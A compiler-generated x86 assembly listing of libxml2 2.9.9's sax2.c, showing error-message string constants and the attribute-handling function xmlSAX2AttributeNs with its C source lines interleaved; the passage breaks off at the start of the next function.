??_C@_0CO@CCGEJOB@xml?3id?5?3?5attribute?5value?5?$CFs?5is?5@ CONST SEGMENT ??_C@_0CO@CCGEJOB@xml?3id?5?3?5attribute?5value?5?$CFs?5is?5@ DB 'xml:id ' DB ': attribute value %s is not an NCName', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BO@PGCJKKMF@Attribute?5?$CFs?5in?5?$CFs?5redefined?6@ CONST SEGMENT ??_C@_0BO@PGCJKKMF@Attribute?5?$CFs?5in?5?$CFs?5redefined?6@ DB 'Attribut' DB 'e %s in %s redefined', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DE@HNKDFNKM@Namespace?5prefix?5?$CFs?5of?5attribut@ CONST SEGMENT ??_C@_0DE@HNKDFNKM@Namespace?5prefix?5?$CFs?5of?5attribut@ DB 'Namespace ' DB 'prefix %s of attribute %s is not defined', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CC@FFFCEDOK@xmlns?3?$CFs?3?5URI?5?$CFs?5is?5not?5absolut@ CONST SEGMENT ??_C@_0CC@FFFCEDOK@xmlns?3?$CFs?3?5URI?5?$CFs?5is?5not?5absolut@ DB 'xmln' DB 's:%s: URI %s is not absolute', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BO@MNIAHAOJ@xmlns?3?$CFs?3?5?$CFs?5not?5a?5valid?5URI?6@ CONST SEGMENT ??_C@_0BO@MNIAHAOJ@xmlns?3?$CFs?3?5?$CFs?5not?5a?5valid?5URI?6@ DB 'xmlns' DB ':%s: %s not a valid URI', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CE@LNIJHMCD@Empty?5namespace?5name?5for?5prefix@ CONST SEGMENT ??_C@_0CE@LNIJHMCD@Empty?5namespace?5name?5for?5prefix@ DB 'Empty namespa' DB 'ce name for prefix %s', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BP@JFBGAFGI@xmlns?3?5URI?5?$CFs?5is?5not?5absolute?6@ CONST SEGMENT ??_C@_0BP@JFBGAFGI@xmlns?3?5URI?5?$CFs?5is?5not?5absolute?6@ DB 'xmlns: U' DB 'RI %s is not absolute', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BL@KIHPGOD@xmlns?3?5?$CFs?5not?5a?5valid?5URI?6@ CONST SEGMENT ??_C@_0BL@KIHPGOD@xmlns?3?5?$CFs?5not?5a?5valid?5URI?6@ DB 'xmlns: %s not' DB ' a valid URI', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BE@NLCCMPDP@xmlSAX2StartElement@ CONST SEGMENT ??_C@_0BE@NLCCMPDP@xmlSAX2StartElement@ DB 'xmlSAX2StartElement', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CL@HKIDFKGE@Avoid?5attribute?5ending?5with?5?8?3?8@ CONST SEGMENT ??_C@_0CL@HKIDFKGE@Avoid?5attribute?5ending?5with?5?8?3?8@ DB 'Avoid attr' DB 'ibute ending with '':'' like ''%s''', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CE@IJLGNIDG@invalid?5namespace?5declaration?5?8@ CONST SEGMENT ??_C@_0CE@IJLGNIDG@invalid?5namespace?5declaration?5?8@ DB 'invalid names' DB 'pace declaration ''%s''', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_05PPEFOGKI@xmlns@ CONST SEGMENT ??_C@_05PPEFOGKI@xmlns@ DB 'xmlns', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BF@BOIPPPAK@xmlSAX2StartDocument@ CONST SEGMENT ??_C@_0BF@BOIPPPAK@xmlSAX2StartDocument@ DB 'xmlSAX2StartDocument', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DO@IABCNOGI@SAX?4xmlSAX2UnparsedEntityDecl?$CI?$CF@ CONST SEGMENT ??_C@_0DO@IABCNOGI@SAX?4xmlSAX2UnparsedEntityDecl?$CI?$CF@ DB 'SAX.xmlSAX' DB '2UnparsedEntityDecl(%s) called while not in subset', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DI@MAMMGJDO@SAX?4xmlSAX2NotationDecl?$CI?$CFs?$CJ?5cal@ CONST SEGMENT ??_C@_0DI@MAMMGJDO@SAX?4xmlSAX2NotationDecl?$CI?$CFs?$CJ?5cal@ DB 'SAX.xm' DB 'lSAX2NotationDecl(%s) called while not in subset', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DM@OMFMKHI@SAX?4xmlSAX2NotationDecl?$CI?$CFs?$CJ?5ext@ CONST SEGMENT ??_C@_0DM@OMFMKHI@SAX?4xmlSAX2NotationDecl?$CI?$CFs?$CJ?5ext@ DB 'SAX.xml' DB 'SAX2NotationDecl(%s) externalID or PublicID missing', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DH@FINDFGFC@SAX?4xmlSAX2ElementDecl?$CI?$CFs?$CJ?5call@ CONST SEGMENT ??_C@_0DH@FINDFGFC@SAX?4xmlSAX2ElementDecl?$CI?$CFs?$CJ?5call@ DB 'SAX.xm' DB 'lSAX2ElementDecl(%s) called while not in subset', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DJ@CKOJIFJI@SAX?4xmlSAX2AttributeDecl?$CI?$CFs?$CJ?5ca@ CONST SEGMENT ??_C@_0DJ@CKOJIFJI@SAX?4xmlSAX2AttributeDecl?$CI?$CFs?$CJ?5ca@ DB 'SAX.xm' DB 'lSAX2AttributeDecl(%s) called while not in subset', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CG@DOFEKNB@xml?3id?5?3?5attribute?5type?5should?5@ CONST SEGMENT ??_C@_0CG@DOFEKNB@xml?3id?5?3?5attribute?5type?5should?5@ DB 'xml:id : at' DB 'tribute type should be ID', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_06IMLNHOMM@xml?3id@ CONST SEGMENT ??_C@_06IMLNHOMM@xml?3id@ DB 'xml:id', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DG@EGJGBEOC@SAX?4xmlSAX2EntityDecl?$CI?$CFs?$CJ?5calle@ CONST SEGMENT ??_C@_0DG@EGJGBEOC@SAX?4xmlSAX2EntityDecl?$CI?$CFs?$CJ?5calle@ DB 'SAX.xm' DB 'lSAX2EntityDecl(%s) called while not in subset', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DD@ECLLADNP@Entity?$CI?$CFs?$CJ?5already?5defined?5in?5t@ CONST SEGMENT ??_C@_0DD@ECLLADNP@Entity?$CI?$CFs?$CJ?5already?5defined?5in?5t@ DB 'Enti' DB 'ty(%s) already defined in the external subset', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DD@GCBFDMPE@Entity?$CI?$CFs?$CJ?5already?5defined?5in?5t@ CONST SEGMENT ??_C@_0DD@GCBFDMPE@Entity?$CI?$CFs?$CJ?5already?5defined?5in?5t@ DB 'Enti' DB 'ty(%s) already defined in the internal subset', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BO@LDENBHGA@Failure?5to?5process?5entity?5?$CFs?6@ CONST SEGMENT ??_C@_0BO@LDENBHGA@Failure?5to?5process?5entity?5?$CFs?6@ DB 'Failure to ' DB 'process entity %s', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0EE@PPDHKGIC@Entity?$CI?$CFs?$CJ?5document?5marked?5stan@ CONST SEGMENT ??_C@_0EE@PPDHKGIC@Entity?$CI?$CFs?$CJ?5document?5marked?5stan@ DB 'Entit' DB 'y(%s) document marked standalone but requires external subset' DB 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BG@NJCKJHBI@xmlSAX2ExternalSubset@ CONST SEGMENT ??_C@_0BG@NJCKJHBI@xmlSAX2ExternalSubset@ DB 'xmlSAX2ExternalSubset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BG@CKPEJCG@xmlSAX2InternalSubset@ CONST SEGMENT ??_C@_0BG@CKPEJCG@xmlSAX2InternalSubset@ DB 'xmlSAX2InternalSubset', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0P@PCJPAHLM@out?5of?5memory?6@ CONST SEGMENT ??_C@_0P@PCJPAHLM@out?5of?5memory?6@ DB 'out of memory', 0aH, 00H ; `string' CONST ENDS ; Function compile flags: /Odt ; COMDAT __JustMyCode_Default _TEXT SEGMENT __JustMyCode_Default PROC ; COMDAT push ebp mov ebp, esp pop ebp ret 0 __JustMyCode_Default ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2AttributeNs _TEXT SEGMENT _fn$1 = -52 ; size = 50 tv962 = 8 ; size = 4 _fullname$1$ = 8 ; size = 4 _namespace$1$ = 8 ; size = 4 _ctxt$ = 8 ; size = 4 _localname$ = 12 ; size = 4 _nvalnorm$1$ = 16 ; size = 4 _prefix$ = 16 ; size = 4 _value$ = 20 ; size = 4 _valueend$ = 24 ; size = 4 _xmlSAX2AttributeNs PROC ; COMDAT ; 1983 : { push ebp mov ebp, esp sub esp, 52 ; 00000034H push ebx push esi mov esi, DWORD PTR _ctxt$[ebp] mov ecx, OFFSET __A8525CDE_sax2@c push edi call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _prefix$[ebp] xor ecx, ecx mov DWORD PTR _namespace$1$[ebp], ecx test eax, eax je SHORT $LN6@xmlSAX2Att ; 1984 : xmlAttrPtr ret; ; 1985 : xmlNsPtr namespace = NULL; ; 1986 : xmlChar *dup = NULL; ; 1987 : ; 1988 : /* ; 1989 : * Note: if prefix == NULL, the attribute is not in the default namespace ; 1990 : */ ; 1991 : if (prefix != NULL) ; 1992 : namespace = xmlSearchNs(ctxt->myDoc, ctxt->node, prefix); push eax push DWORD PTR [esi+52] push DWORD PTR [esi+8] call _xmlSearchNs add esp, 12 ; 0000000cH mov DWORD PTR _namespace$1$[ebp], eax mov ecx, eax $LN6@xmlSAX2Att: ; 1993 : ; 1994 : /* ; 1995 : * allocate the node ; 1996 : */ ; 1997 : if (ctxt->freeAttrs != NULL) { mov edi, DWORD PTR [esi+380] test edi, edi je $LN7@xmlSAX2Att ; 1998 : ret = ctxt->freeAttrs; ; 1999 : ctxt->freeAttrs = ret->next; mov eax, DWORD PTR [edi+24] ; 2000 : ctxt->freeAttrsNr--; dec DWORD PTR [esi+376] ; 2001 : memset(ret, 0, sizeof(xmlAttr)); push 48 ; 00000030H push 0 push edi mov DWORD PTR [esi+380], eax call _memset ; 2002 : ret->type = XML_ATTRIBUTE_NODE; mov DWORD PTR [edi+4], 2 add esp, 12 ; 0000000cH ; 2003 : ; 2004 : ret->parent = ctxt->node; mov eax, DWORD PTR [esi+52] mov DWORD PTR [edi+20], eax ; 2005 : ret->doc = ctxt->myDoc; mov eax, DWORD PTR [esi+8] mov DWORD PTR [edi+32], eax ; 2006 : ret->ns = namespace; mov eax, DWORD PTR _namespace$1$[ebp] mov DWORD PTR [edi+36], eax ; 2007 : ; 2008 : if (ctxt->dictNames) cmp DWORD PTR [esi+364], 0 mov eax, DWORD PTR _localname$[ebp] jne SHORT $LN10@xmlSAX2Att ; 2009 : ret->name = localname; ; 2010 : else ; 2011 : ret->name = xmlStrdup(localname); push eax call _xmlStrdup add esp, 4 $LN10@xmlSAX2Att: ; 2012 : ; 2013 : /* link at the end to preserv order, TODO speed up with a last */ ; 2014 : if (ctxt->node->properties == NULL) { mov DWORD PTR [edi+8], eax mov ecx, DWORD PTR [esi+52] mov eax, DWORD PTR [ecx+44] test eax, eax jne SHORT $LN11@xmlSAX2Att ; 2015 : ctxt->node->properties = ret; mov DWORD PTR [ecx+44], edi ; 2016 : } else { jmp SHORT $LN12@xmlSAX2Att $LN11@xmlSAX2Att: ; 2017 : xmlAttrPtr prev = ctxt->node->properties; ; 2018 : ; 2019 : while (prev->next != NULL) prev = prev->next; mov ecx, DWORD PTR [eax+24] test ecx, ecx je SHORT $LN3@xmlSAX2Att $LL2@xmlSAX2Att: mov eax, ecx mov ecx, DWORD PTR [eax+24] test ecx, ecx jne SHORT $LL2@xmlSAX2Att $LN3@xmlSAX2Att: ; 2020 : prev->next = ret; mov DWORD PTR [eax+24], edi ; 2021 : ret->prev = prev; mov DWORD PTR [edi+28], eax $LN12@xmlSAX2Att: ; 2022 : } ; 2023 : ; 2024 : if ((__xmlRegisterCallbacks) && (xmlRegisterNodeDefaultValue)) cmp DWORD PTR ___xmlRegisterCallbacks, 0 je SHORT $LN16@xmlSAX2Att call ___xmlRegisterNodeDefaultValue cmp DWORD PTR [eax], 0 je SHORT $LN16@xmlSAX2Att ; 2025 : xmlRegisterNodeDefaultValue((xmlNodePtr)ret); call ___xmlRegisterNodeDefaultValue push edi mov eax, DWORD PTR [eax] call eax add esp, 4 $LN16@xmlSAX2Att: ; 2034 : return; ; 2035 : } ; 2036 : } ; 2037 : ; 2038 : if ((ctxt->replaceEntities == 0) && (!ctxt->html)) { cmp DWORD PTR [esi+16], 0 jne $LN77@xmlSAX2Att cmp DWORD PTR [esi+32], 0 jne $LN77@xmlSAX2Att ; 2039 : xmlNodePtr tmp; ; 2040 : ; 2041 : /* ; 2042 : * We know that if there is an entity reference, then ; 2043 : * the string has been dup'ed and terminates with 0 ; 2044 : * otherwise with ' or " ; 2045 : */ ; 2046 : if (*valueend != 0) { mov ebx, DWORD PTR _valueend$[ebp] mov ecx, ebx mov eax, DWORD PTR _value$[ebp] sub ecx, eax push ecx push eax cmp BYTE PTR [ebx], 0 je SHORT $LN19@xmlSAX2Att ; 2047 : tmp = xmlSAX2TextNode(ctxt, value, valueend - value); push esi call _xmlSAX2TextNode ; 2048 : ret->children = tmp; ; 2049 : ret->last = tmp; ; 2050 : if (tmp != NULL) { mov edx, DWORD PTR _value$[ebp] add esp, 12 ; 0000000cH mov DWORD PTR [edi+12], eax mov DWORD PTR [edi+16], eax test eax, eax je $LN24@xmlSAX2Att ; 2051 : tmp->doc = ret->doc; mov ecx, DWORD PTR [edi+32] mov DWORD PTR [eax+32], ecx ; 2052 : tmp->parent = (xmlNodePtr) ret; mov DWORD PTR [eax+20], edi ; 2053 : } ; 2054 : } else { jmp $LN24@xmlSAX2Att $LN7@xmlSAX2Att: ; 2026 : } else { ; 2027 : if (ctxt->dictNames) cmp DWORD PTR [esi+364], 0 mov edx, DWORD PTR [esi+52] push 0 je SHORT $LN14@xmlSAX2Att ; 2028 : ret = xmlNewNsPropEatName(ctxt->node, namespace, mov ebx, DWORD PTR _localname$[ebp] push ebx push ecx push edx call _xmlNewNsPropEatName jmp SHORT $LN84@xmlSAX2Att $LN14@xmlSAX2Att: ; 2029 : (xmlChar *) localname, NULL); ; 2030 : else ; 2031 : ret = xmlNewNsProp(ctxt->node, namespace, localname, NULL); mov eax, DWORD PTR _localname$[ebp] push eax push ecx push edx call _xmlNewNsProp $LN84@xmlSAX2Att: ; 2032 : if (ret == NULL) { mov edi, eax add esp, 16 ; 00000010H test edi, edi jne SHORT $LN16@xmlSAX2Att ; 2033 : xmlErrMemory(ctxt, "xmlSAX2AttributeNs"); push OFFSET ??_C@_0BD@HFPHEGLL@xmlSAX2AttributeNs@ push esi call _xmlErrMemory add esp, 8 pop edi ; 2188 : } pop esi pop ebx mov esp, ebp pop ebp ret 0 $LN19@xmlSAX2Att: ; 2055 : ret->children = xmlStringLenGetNodeList(ctxt->myDoc, value, push DWORD PTR [esi+8] call _xmlStringLenGetNodeList mov ecx, eax add esp, 12 ; 0000000cH mov DWORD PTR [edi+12], ecx ; 2056 : valueend - value); ; 2057 : tmp = ret->children; ; 2058 : while (tmp != NULL) { test ecx, ecx je SHORT $LN83@xmlSAX2Att npad 5 $LL4@xmlSAX2Att: ; 2059 : tmp->doc = ret->doc; mov eax, DWORD PTR [edi+32] mov DWORD PTR [ecx+32], eax ; 2060 : tmp->parent = (xmlNodePtr) ret; ; 2061 : if (tmp->next == NULL) mov eax, DWORD PTR [ecx+24] mov DWORD PTR [ecx+20], edi test eax, eax jne SHORT $LN76@xmlSAX2Att ; 2062 : ret->last = tmp; mov DWORD PTR [edi+16], ecx mov eax, DWORD PTR [ecx+24] $LN76@xmlSAX2Att: ; 2063 : tmp = tmp->next; mov ecx, eax test eax, eax jne SHORT $LL4@xmlSAX2Att ; 2064 : } ; 2065 : } jmp SHORT $LN83@xmlSAX2Att $LN77@xmlSAX2Att: ; 2066 : } else if (value != NULL) { mov edx, DWORD PTR _value$[ebp] mov ebx, DWORD PTR _valueend$[ebp] test edx, edx je SHORT $LN24@xmlSAX2Att ; 2067 : xmlNodePtr tmp; ; 2068 : ; 2069 : tmp = xmlSAX2TextNode(ctxt, value, valueend - value); mov eax, ebx sub eax, edx push eax push edx push esi call _xmlSAX2TextNode add esp, 12 ; 0000000cH ; 2070 : ret->children = tmp; mov DWORD PTR [edi+12], eax ; 2071 : ret->last = tmp; mov DWORD PTR [edi+16], eax ; 2072 : if (tmp != NULL) { test eax, eax je SHORT $LN83@xmlSAX2Att ; 2073 : tmp->doc = ret->doc; mov ecx, DWORD PTR [edi+32] mov DWORD PTR [eax+32], ecx ; 2074 : tmp->parent = (xmlNodePtr) ret; mov DWORD PTR [eax+20], edi $LN83@xmlSAX2Att: ; 2075 : } ; 2076 : } ; 2077 : ; 2078 : #ifdef LIBXML_VALID_ENABLED ; 2079 : if ((!ctxt->html) && ctxt->validate && ctxt->wellFormed && ; 2080 : ctxt->myDoc && ctxt->myDoc->intSubset) { mov edx, DWORD PTR _value$[ebp] $LN24@xmlSAX2Att: cmp DWORD PTR [esi+32], 0 jne $LN25@xmlSAX2Att cmp DWORD PTR [esi+104], 0 je $LN25@xmlSAX2Att cmp DWORD PTR [esi+12], 0 je $LN25@xmlSAX2Att mov eax, DWORD PTR [esi+8] test eax, eax je $LN25@xmlSAX2Att cmp DWORD PTR [eax+44], 0 je $LN25@xmlSAX2Att ; 2081 : /* ; 2082 : * If we don't substitute entities, the validation should be ; 2083 : * done on a value with replaced entities anyway. ; 2084 : */ ; 2085 : if (!ctxt->replaceEntities) { cmp DWORD PTR [esi+16], 0 jne $LN27@xmlSAX2Att ; 1949 : in = str; mov ecx, edx ; 1950 : while (in < end) cmp edx, ebx jae SHORT $LN54@xmlSAX2Att $LL53@xmlSAX2Att: ; 1951 : if (*in++ == '&') mov al, BYTE PTR [ecx] inc ecx cmp al, 38 ; 00000026H je SHORT $decode$87 ; 1950 : while (in < end) cmp ecx, ebx jb SHORT $LL53@xmlSAX2Att $LN54@xmlSAX2Att: ; 1952 : goto decode; ; 1953 : return(NULL); mov eax, ebx sub eax, edx ; 2086 : dup = xmlSAX2DecodeAttrEntities(ctxt, value, valueend); ; 2087 : if (dup == NULL) { jmp $LN72@xmlSAX2Att $decode$87: ; 1955 : ctxt->depth++; inc DWORD PTR [esi+248] ; 1956 : ret = xmlStringLenDecodeEntities(ctxt, str, end - str, sub ebx, edx push 0 push 0 push 0 push 1 push ebx push edx push esi mov DWORD PTR tv962[ebp], ebx call _xmlStringLenDecodeEntities ; 1957 : XML_SUBSTITUTE_REF, 0,0,0); ; 1958 : ctxt->depth--; dec DWORD PTR [esi+248] mov ebx, eax add esp, 28 ; 0000001cH ; 2086 : dup = xmlSAX2DecodeAttrEntities(ctxt, value, valueend); ; 2087 : if (dup == NULL) { test ebx, ebx je $LN79@xmlSAX2Att ; 2103 : /* ; 2104 : * dup now contains a string of the flattened attribute ; 2105 : * content with entities substitued. Check if we need to ; 2106 : * apply an extra layer of normalization. ; 2107 : * It need to be done twice ... it's an extra burden related ; 2108 : * to the ability to keep references in attributes ; 2109 : */ ; 2110 : if (ctxt->attsSpecial != NULL) { cmp DWORD PTR [esi+352], 0 je SHORT $LN37@xmlSAX2Att ; 2111 : xmlChar *nvalnorm; ; 2112 : xmlChar fn[50]; ; 2113 : xmlChar *fullname; ; 2114 : ; 2115 : fullname = xmlBuildQName(localname, prefix, fn, 50); push 50 ; 00000032H lea eax, DWORD PTR _fn$1[ebp] push eax mov eax, DWORD PTR _prefix$[ebp] push eax push DWORD PTR _localname$[ebp] call _xmlBuildQName add esp, 16 ; 00000010H mov DWORD PTR _fullname$1$[ebp], eax ; 2116 : if (fullname != NULL) { test eax, eax je SHORT $LN37@xmlSAX2Att ; 2117 : ctxt->vctxt.valid = 1; ; 2118 : nvalnorm = xmlValidCtxtNormalizeAttributeValue( push ebx push eax push DWORD PTR [esi+52] lea eax, DWORD PTR [esi+108] mov DWORD PTR [esi+144], 1 push DWORD PTR [esi+8] push eax call _xmlValidCtxtNormalizeAttributeValue add esp, 20 ; 00000014H mov DWORD PTR _nvalnorm$1$[ebp], eax ; 2119 : &ctxt->vctxt, ctxt->myDoc, ; 2120 : ctxt->node, fullname, dup); ; 2121 : if (ctxt->vctxt.valid != 1) cmp DWORD PTR [esi+144], 1 je SHORT $LN78@xmlSAX2Att ; 2122 : ctxt->valid = 0; mov DWORD PTR [esi+100], 0 $LN78@xmlSAX2Att: ; 2123 : ; 2124 : if ((fullname != fn) && (fullname != localname)) mov eax, DWORD PTR _fullname$1$[ebp] lea ecx, DWORD PTR _fn$1[ebp] cmp eax, ecx je SHORT $LN36@xmlSAX2Att cmp eax, DWORD PTR _localname$[ebp] je SHORT $LN36@xmlSAX2Att ; 2125 : xmlFree(fullname); push eax call DWORD PTR _xmlFree add esp, 4 $LN36@xmlSAX2Att: ; 2126 : if (nvalnorm != NULL) { cmp DWORD PTR _nvalnorm$1$[ebp], 0 je SHORT $LN37@xmlSAX2Att ; 2127 : xmlFree(dup); push ebx call DWORD PTR _xmlFree ; 2128 : dup = nvalnorm; mov ebx, DWORD PTR _nvalnorm$1$[ebp] add esp, 4 $LN37@xmlSAX2Att: ; 2129 : } ; 2130 : } ; 2131 : } ; 2132 : ; 2133 : ctxt->valid &= xmlValidateOneAttribute(&ctxt->vctxt, push ebx push edi push DWORD PTR [esi+52] lea eax, DWORD PTR [esi+108] push DWORD PTR [esi+8] push eax call _xmlValidateOneAttribute add esp, 20 ; 00000014H and DWORD PTR [esi+100], eax ; 2134 : ctxt->myDoc, ctxt->node, ret, dup); ; 2135 : } ; 2136 : } else { jmp $LN48@xmlSAX2Att $LN79@xmlSAX2Att: ; 2086 : dup = xmlSAX2DecodeAttrEntities(ctxt, value, valueend); ; 2087 : if (dup == NULL) { mov ebx, DWORD PTR _valueend$[ebp] mov edx, DWORD PTR _value$[ebp] mov eax, DWORD PTR tv962[ebp] $LN72@xmlSAX2Att: ; 2088 : if (*valueend == 0) { cmp BYTE PTR [ebx], 0 lea ecx, DWORD PTR [esi+108] jne SHORT $LN31@xmlSAX2Att ; 2089 : ctxt->valid &= xmlValidateOneAttribute(&ctxt->vctxt, push edx push edi push DWORD PTR [esi+52] push DWORD PTR [esi+8] push ecx call _xmlValidateOneAttribute add esp, 20 ; 00000014H and DWORD PTR [esi+100], eax pop edi ; 2188 : } pop esi pop ebx mov esp, ebp pop ebp ret 0 $LN31@xmlSAX2Att: ; 2090 : ctxt->myDoc, ctxt->node, ret, value); ; 2091 : } else { ; 2092 : /* ; 2093 : * That should already be normalized. ; 2094 : * cheaper to finally allocate here than duplicate ; 2095 : * entry points in the full validation code ; 2096 : */ ; 2097 : dup = xmlStrndup(value, valueend - value); push eax push edx call _xmlStrndup mov ebx, eax ; 2098 : ; 2099 : ctxt->valid &= xmlValidateOneAttribute(&ctxt->vctxt, lea eax, DWORD PTR [esi+108] push ebx push edi push DWORD PTR [esi+52] push DWORD PTR [esi+8] push eax call _xmlValidateOneAttribute add esp, 28 ; 0000001cH and DWORD PTR [esi+100], eax ; 2100 : ctxt->myDoc, ctxt->node, ret, dup); ; 2101 : } ; 2102 : } else { jmp $LN48@xmlSAX2Att $LN27@xmlSAX2Att: ; 2137 : /* ; 2138 : * if entities already have been substitued, then ; 2139 : * the attribute as passed is already normalized ; 2140 : */ ; 2141 : dup = xmlStrndup(value, valueend - value); sub ebx, edx push ebx push edx call _xmlStrndup mov ebx, eax ; 2142 : ; 2143 : ctxt->valid &= xmlValidateOneAttribute(&ctxt->vctxt, lea eax, DWORD PTR [esi+108] push ebx push edi push DWORD PTR [esi+52] push DWORD PTR [esi+8] push eax call _xmlValidateOneAttribute add esp, 28 ; 0000001cH and DWORD PTR [esi+100], eax ; 2144 : ctxt->myDoc, ctxt->node, ret, dup); ; 2145 : } ; 2146 : } else jmp $LN48@xmlSAX2Att $LN25@xmlSAX2Att: ; 2147 : #endif /* LIBXML_VALID_ENABLED */ ; 2148 : if (((ctxt->loadsubset & XML_SKIP_IDS) == 0) && test BYTE PTR [esi+276], 8 jne $LN50@xmlSAX2Att cmp DWORD PTR [esi+16], 0 jne SHORT $LN71@xmlSAX2Att cmp DWORD PTR [esi+96], 2 jne SHORT $LN39@xmlSAX2Att ; 2188 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 $LN71@xmlSAX2Att: ; 2147 : #endif /* LIBXML_VALID_ENABLED */ ; 2148 : if (((ctxt->loadsubset & XML_SKIP_IDS) == 0) && cmp DWORD PTR [esi+216], 0 jne $LN50@xmlSAX2Att $LN39@xmlSAX2Att: ; 2149 : (((ctxt->replaceEntities == 0) && (ctxt->external != 2)) || ; 2150 : ((ctxt->replaceEntities != 0) && (ctxt->inSubset == 0)))) { ; 2151 : /* ; 2152 : * when validating, the ID registration is done at the attribute ; 2153 : * validation level. Otherwise we have to do specific handling here. ; 2154 : */ ; 2155 : if ((prefix == ctxt->str_xml) && ; 2156 : (localname[0] == 'i') && (localname[1] == 'd') && mov eax, DWORD PTR _prefix$[ebp] cmp eax, DWORD PTR [esi+312] jne SHORT $LN41@xmlSAX2Att mov eax, DWORD PTR _localname$[ebp] cmp BYTE PTR [eax], 105 ; 00000069H jne SHORT $LN41@xmlSAX2Att cmp BYTE PTR [eax+1], 100 ; 00000064H jne SHORT $LN41@xmlSAX2Att cmp BYTE PTR [eax+2], 0 jne SHORT $LN41@xmlSAX2Att ; 2157 : (localname[2] == 0)) { ; 2158 : /* ; 2159 : * Add the xml:id value ; 2160 : * ; 2161 : * Open issue: normalization of the value. ; 2162 : */ ; 2163 : if (dup == NULL) ; 2164 : dup = xmlStrndup(value, valueend - value); sub ebx, edx push ebx push edx call _xmlStrndup mov ebx, eax ; 2165 : #if defined(LIBXML_SAX1_ENABLED) || defined(LIBXML_HTML_ENABLED) || defined(LIBXML_WRITER_ENABLED) || defined(LIBXML_DOCB_ENABLED) || defined(LIBXML_LEGACY_ENABLED) ; 2166 : #ifdef LIBXML_VALID_ENABLED ; 2167 : if (xmlValidateNCName(dup, 1) != 0) { push 1 push ebx call _xmlValidateNCName add esp, 16 ; 00000010H test eax, eax je SHORT $LN44@xmlSAX2Att ; 2168 : xmlErrValid(ctxt, XML_DTD_XMLID_VALUE, push 0 push ebx push OFFSET ??_C@_0CO@CCGEJOB@xml?3id?5?3?5attribute?5value?5?$CFs?5is?5@ push 539 ; 0000021bH push esi call _xmlErrValid add esp, 20 ; 00000014H $LN44@xmlSAX2Att: ; 2169 : "xml:id : attribute value %s is not an NCName\n", ; 2170 : (const char *) dup, NULL); ; 2171 : } ; 2172 : #endif ; 2173 : #endif ; 2174 : xmlAddID(&ctxt->vctxt, ctxt->myDoc, dup, ret); push edi push ebx push DWORD PTR [esi+8] lea eax, DWORD PTR [esi+108] push eax call _xmlAddID add esp, 16 ; 00000010H jmp SHORT $LN48@xmlSAX2Att $LN41@xmlSAX2Att: ; 2175 : } else if (xmlIsID(ctxt->myDoc, ctxt->node, ret)) { push edi push DWORD PTR [esi+52] push DWORD PTR [esi+8] call _xmlIsID add esp, 12 ; 0000000cH test eax, eax je SHORT $LN45@xmlSAX2Att ; 2176 : /* might be worth duplicate entry points and not copy */ ; 2177 : if (dup == NULL) ; 2178 : dup = xmlStrndup(value, valueend - value); mov eax, DWORD PTR _value$[ebp] sub ebx, eax push ebx push eax call _xmlStrndup mov ebx, eax ; 2179 : xmlAddID(&ctxt->vctxt, ctxt->myDoc, dup, ret); lea eax, DWORD PTR [esi+108] push edi push ebx push DWORD PTR [esi+8] push eax call _xmlAddID jmp SHORT $LN85@xmlSAX2Att $LN45@xmlSAX2Att: ; 2180 : } else if (xmlIsRef(ctxt->myDoc, ctxt->node, ret)) { push edi push DWORD PTR [esi+52] push DWORD PTR [esi+8] call _xmlIsRef add esp, 12 ; 0000000cH test eax, eax je SHORT $LN50@xmlSAX2Att ; 2181 : if (dup == NULL) ; 2182 : dup = xmlStrndup(value, valueend - value); mov eax, DWORD PTR _value$[ebp] sub ebx, eax push ebx push eax call _xmlStrndup mov ebx, eax ; 2183 : xmlAddRef(&ctxt->vctxt, ctxt->myDoc, dup, ret); lea eax, DWORD PTR [esi+108] push edi push ebx push DWORD PTR [esi+8] push eax call _xmlAddRef $LN85@xmlSAX2Att: ; 2184 : } ; 2185 : } ; 2186 : if (dup != NULL) add esp, 24 ; 00000018H $LN48@xmlSAX2Att: test ebx, ebx je SHORT $LN50@xmlSAX2Att ; 2187 : xmlFree(dup); push ebx call DWORD PTR _xmlFree add esp, 4 $LN50@xmlSAX2Att: ; 2188 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 _xmlSAX2AttributeNs ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2DecodeAttrEntities _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _str$ = 12 ; size = 4 _end$ = 16 ; size = 4 _xmlSAX2DecodeAttrEntities PROC ; COMDAT ; 1945 : const xmlChar *end) { push ebp mov ebp, esp push edi mov ecx, 